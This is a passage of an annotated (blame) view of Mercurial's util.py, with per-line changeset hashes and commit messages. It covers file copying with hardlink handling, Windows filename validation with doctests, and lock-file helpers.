1215 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
27369
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1216 '''copy a file, preserving mode and optionally other stat info like
29367
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1217 atime/mtime
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1218
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1219 checkambig argument is used with filestat, and is useful only if
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1220 destination file is guarded by any lock (e.g. repo.lock or
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1221 repo.wlock).
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1222
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1223 copystat and checkambig should be exclusive.
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
1224 '''
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1225 assert not (copystat and checkambig)
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1226 oldstat = None
18326
614f769e6aa7 util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents: 18026
diff changeset
1227 if os.path.lexists(dest):
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1228 if checkambig:
32792
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
1229 oldstat = checkambig and filestat.frompath(dest)
18326
614f769e6aa7 util: copyfile: remove dest before copying
Mads Kiilerich <mads@kiilerich.com>
parents: 18026
diff changeset
1230 unlink(dest)
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1231 if hardlink:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1232 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1233 # unless we are confident that dest is on a whitelisted filesystem.
31683
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31667
diff changeset
1234 try:
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31667
diff changeset
1235 fstype = getfstype(os.path.dirname(dest))
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31667
diff changeset
1236 except OSError:
1ed57a7dd904 statfs: make getfstype() raise OSError
Yuya Nishihara <yuya@tcha.org>
parents: 31667
diff changeset
1237 fstype = None
31581
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1238 if fstype not in _hardlinkfswhitelist:
e506e461c7a9 util: disable hardlink for copyfile if fstype is outside a whitelist
Jun Wu <quark@fb.com>
parents: 31579
diff changeset
1239 hardlink = False
31583
e7a02e9ad162 util: enable hardlink for copyfile
Jun Wu <quark@fb.com>
parents: 31581
diff changeset
1240 if hardlink:
23899
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
1241 try:
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
1242 oslink(src, dest)
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
1243 return
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
1244 except (IOError, OSError):
4e451d1359de copyfile: allow optional hardlinking
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 23864
diff changeset
1245 pass # fall back to normal copy
4271
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1246 if os.path.islink(src):
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1247 os.symlink(os.readlink(src), dest)
27369
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1248 # copytime is ignored for symlinks, but in general copytime isn't needed
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1249 # for them anyway
4271
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1250 else:
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1251 try:
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1252 shutil.copyfile(src, dest)
27369
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1253 if copystat:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1254 # copystat also copies mode
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1255 shutil.copystat(src, dest)
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1256 else:
c48ecc0b5bc9 copyfile: add an optional parameter to copy other stat data
Siddharth Agarwal <sid0@fb.com>
parents: 26665
diff changeset
1257 shutil.copymode(src, dest)
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1258 if oldstat and oldstat.stat:
32792
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32769
diff changeset
1259 newstat = filestat.frompath(dest)
29204
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1260 if newstat.isambig(oldstat):
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1261 # stat of copied file is ambiguous to original one
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1262 advanced = (oldstat.stat.st_mtime + 1) & 0x7fffffff
ce2d81aafbae util: make copyfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29201
diff changeset
1263 os.utime(dest, (advanced, advanced))
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
1264 except shutil.Error as inst:
4271
1eaa8d90c689 fix util.copyfile to deal with symlinks
Eric St-Jean <esj@wwd.ca>
parents: 4256
diff changeset
1265 raise Abort(str(inst))
3629
4cfb72bcb978 util: add copyfile function
Matt Mackall <mpm@selenic.com>
parents: 3568
diff changeset
1266
24439
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
1267 def copyfiles(src, dst, hardlink=None, progress=lambda t, pos: None):
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
1268 """Copy a directory tree using hardlinks if possible."""
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
1269 num = 0
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1270
31723
bf64449b2779 hardlink: extract topic text logic of copyfiles
Jun Wu <quark@fb.com>
parents: 31683
diff changeset
1271 gettopic = lambda: hardlink and _('linking') or _('copying')
698
df78d8ccac4c Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 667
diff changeset
1272
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1273 if os.path.isdir(src):
31724
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
1274 if hardlink is None:
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
1275 hardlink = (os.stat(src).st_dev ==
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
1276 os.stat(os.path.dirname(dst)).st_dev)
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
1277 topic = gettopic()
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1278 os.mkdir(dst)
32248
d74b0cff94a9 osutil: proxy through util (and platform) modules (API)
Yuya Nishihara <yuya@tcha.org>
parents: 32245
diff changeset
1279 for name, kind in listdir(src):
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1280 srcname = os.path.join(src, name)
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1281 dstname = os.path.join(dst, name)
24439
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
1282 def nprog(t, pos):
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
1283 if pos is not None:
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
1284 return progress(t, pos + num)
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
1285 hardlink, n = copyfiles(srcname, dstname, hardlink, progress=nprog)
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
1286 num += n
1207
a7b8812973d9 Rewrite copytree as copyfiles
mpm@selenic.com
parents: 1200
diff changeset
1287 else:
31724
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
1288 if hardlink is None:
31725
dea2a17cbfd0 hardlink: check directory's st_dev when copying files
Jun Wu <quark@fb.com>
parents: 31724
diff changeset
1289 hardlink = (os.stat(os.path.dirname(src)).st_dev ==
31724
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
1290 os.stat(os.path.dirname(dst)).st_dev)
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
1291 topic = gettopic()
456efd1b51fd hardlink: duplicate hardlink detection for copying files and directories
Jun Wu <quark@fb.com>
parents: 31723
diff changeset
1292
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1293 if hardlink:
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1294 try:
14235
b9e1b041744f rename util.os_link to oslink
Adrian Buehlmann <adrian@cadifra.com>
parents: 14234
diff changeset
1295 oslink(src, dst)
2050
e49d0fa38176 util.copyfiles: only switch to copy if hardlink raises IOError or OSError.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2026
diff changeset
1296 except (IOError, OSError):
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1297 hardlink = False
1591
5a3229cf1492 do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 1585
diff changeset
1298 shutil.copy(src, dst)
1241
3b4f05ff3130 Add support for cloning with hardlinks on windows.
Stephen Darnell
parents: 1207
diff changeset
1299 else:
1591
5a3229cf1492 do not copy atime and mtime in util.copyfiles
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 1585
diff changeset
1300 shutil.copy(src, dst)
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
1301 num += 1
24439
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
1302 progress(topic, num)
2ddfac2f163e util: add progress callback support to copyfiles
Augie Fackler <augie@google.com>
parents: 24236
diff changeset
1303 progress(topic, None)
698
df78d8ccac4c Use python function instead of external 'cp' command when cloning repos.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 667
diff changeset
1304
11251
c61442f6d106 clone: print number of linked/copied files on --debug
Adrian Buehlmann <adrian@cadifra.com>
parents: 11232
diff changeset
1305 return hardlink, num
11254
640d419725d0 util.copyfiles: don't try os_link() again if it failed before
Adrian Buehlmann <adrian@cadifra.com>
parents: 11010
diff changeset
1306
34069
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34020
diff changeset
1307 _winreservednames = {
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34020
diff changeset
1308 'con', 'prn', 'aux', 'nul',
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34020
diff changeset
1309 'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34020
diff changeset
1310 'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
ca6a3852daf0 util: use set for reserved Windows filenames
Gregory Szorc <gregory.szorc@gmail.com>
parents: 34020
diff changeset
1311 }
14262
23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents: 14250
diff changeset
1312 _winreservedchars = ':*?"<>|'
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1313 def checkwinfilename(path):
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1314 r'''Check that the base-relative path is a valid filename on Windows.
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1315 Returns None if the path is ok, or a UI string describing the problem.
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1316
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
1317 >>> checkwinfilename(b"just/a/normal/path")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
1318 >>> checkwinfilename(b"foo/bar/con.xml")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1319 "filename contains 'con', which is reserved on Windows"
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
1320 >>> checkwinfilename(b"foo/con.xml/bar")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1321 "filename contains 'con', which is reserved on Windows"
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
1322 >>> checkwinfilename(b"foo/bar/xml.con")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
1323 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1324 "filename contains 'AUX', which is reserved on Windows"
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
1325 >>> checkwinfilename(b"foo/bar/bla:.txt")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1326 "filename contains ':', which is reserved on Windows"
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
1327 >>> checkwinfilename(b"foo/bar/b\07la.txt")
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1328 "filename contains '\\x07', which is invalid on Windows"
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
1329 >>> checkwinfilename(b"foo/bar/bla ")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1330 "filename ends with ' ', which is not allowed on Windows"
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
1331 >>> checkwinfilename(b"../bar")
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
1332 >>> checkwinfilename(b"foo\\")
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1333 "filename ends with '\\', which is invalid on Windows"
34146
0fa781320203 doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents: 34101
diff changeset
1334 >>> checkwinfilename(b"foo\\/bar")
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1335 "directory name ends with '\\', which is invalid on Windows"
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1336 '''
20000
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1337 if path.endswith('\\'):
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1338 return _("filename ends with '\\', which is invalid on Windows")
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1339 if '\\/' in path:
0849d280663e util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents: 19951
diff changeset
1340 return _("directory name ends with '\\', which is invalid on Windows")
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1341 for n in path.replace('\\', '/').split('/'):
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1342 if not n:
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1343 continue
32131
377c74ef008d win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 31952
diff changeset
1344 for c in _filenamebytestr(n):
14262
23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents: 14250
diff changeset
1345 if c in _winreservedchars:
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1346 return _("filename contains '%s', which is reserved "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1347 "on Windows") % c
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1348 if ord(c) <= 31:
34361
f435097d13c9 py3: manually escape control character to be embedded in win filename error
Yuya Nishihara <yuya@tcha.org>
parents: 34358
diff changeset
1349 return _("filename contains '%s', which is invalid "
f435097d13c9 py3: manually escape control character to be embedded in win filename error
Yuya Nishihara <yuya@tcha.org>
parents: 34358
diff changeset
1350 "on Windows") % escapestr(c)
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1351 base = n.split('.')[0]
14262
23cd7eeff678 util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents: 14250
diff changeset
1352 if base and base.lower() in _winreservednames:
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1353 return _("filename contains '%s', which is reserved "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1354 "on Windows") % base
34362
7508a7dc95c1 py3: replace bytes[n] with slicing in checkwinfilename()
Yuya Nishihara <yuya@tcha.org>
parents: 34361
diff changeset
1355 t = n[-1:]
15358
a347b3614bae util: don't complain about '..' in path components not working on Windows
Matt Mackall <mpm@selenic.com>
parents: 15159
diff changeset
1356 if t in '. ' and n not in '..':
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1357 return _("filename ends with '%s', which is not allowed "
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1358 "on Windows") % t
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1359
34645
75979c8d4572 codemod: use pycompat.iswindows
Jun Wu <quark@fb.com>
parents: 34554
diff changeset
1360 if pycompat.iswindows:
13916
98ee3dd5bab4 path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13910
diff changeset
1361 checkosfilename = checkwinfilename
30994
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30945
diff changeset
1362 timer = time.clock
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1363 else:
14926
4e7e63fc685a util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents: 14918
diff changeset
1364 checkosfilename = platform.checkosfilename
30994
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30945
diff changeset
1365 timer = time.time
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30945
diff changeset
1366
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30945
diff changeset
1367 if safehasattr(time, "perf_counter"):
ae5d60bb70c9 util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents: 30945
diff changeset
1368 timer = time.perf_counter
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1369
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1370 def makelock(info, pathname):
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1371 try:
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1372 return os.symlink(info, pathname)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
1373 except OSError as why:
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1374 if why.errno == errno.EEXIST:
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1375 raise
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1376 except AttributeError: # no symlink in os
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1377 pass
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1378
704
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
1379 ld = os.open(pathname, os.O_CREAT | os.O_WRONLY | os.O_EXCL)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
1380 os.write(ld, info)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
1381 os.close(ld)
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
1382
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1383 def readlock(pathname):
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1384 try:
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1385 return os.readlink(pathname)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
1386 except OSError as why:
7890
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1387 if why.errno not in (errno.EINVAL, errno.ENOSYS):
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1388 raise
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1389 except AttributeError: # no symlink in os
e710f0f592b2 util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents: 7879
diff changeset
1390 pass
13400
14f3795a5ed7 explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13392
diff changeset
1391 fp = posixfile(pathname)
14f3795a5ed7 explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13392
diff changeset
1392 r = fp.read()
14f3795a5ed7 explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13392
diff changeset
1393 fp.close()
14f3795a5ed7 explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13392
diff changeset
1394 return r
704
5ca319a641e1 Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents: 698
diff changeset
1395
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1396 def fstat(fp):
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1397 '''stat file object that may not have fileno method.'''
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1398 try:
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1399 return os.fstat(fp.fileno())
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1400 except AttributeError:
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1401 return os.stat(fp.name)
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
1402
3784
1427949b8f80 imported patch folding
Matt Mackall <mpm@selenic.com>
parents: 3770
diff changeset
1403 # File system features
1427949b8f80 imported patch folding
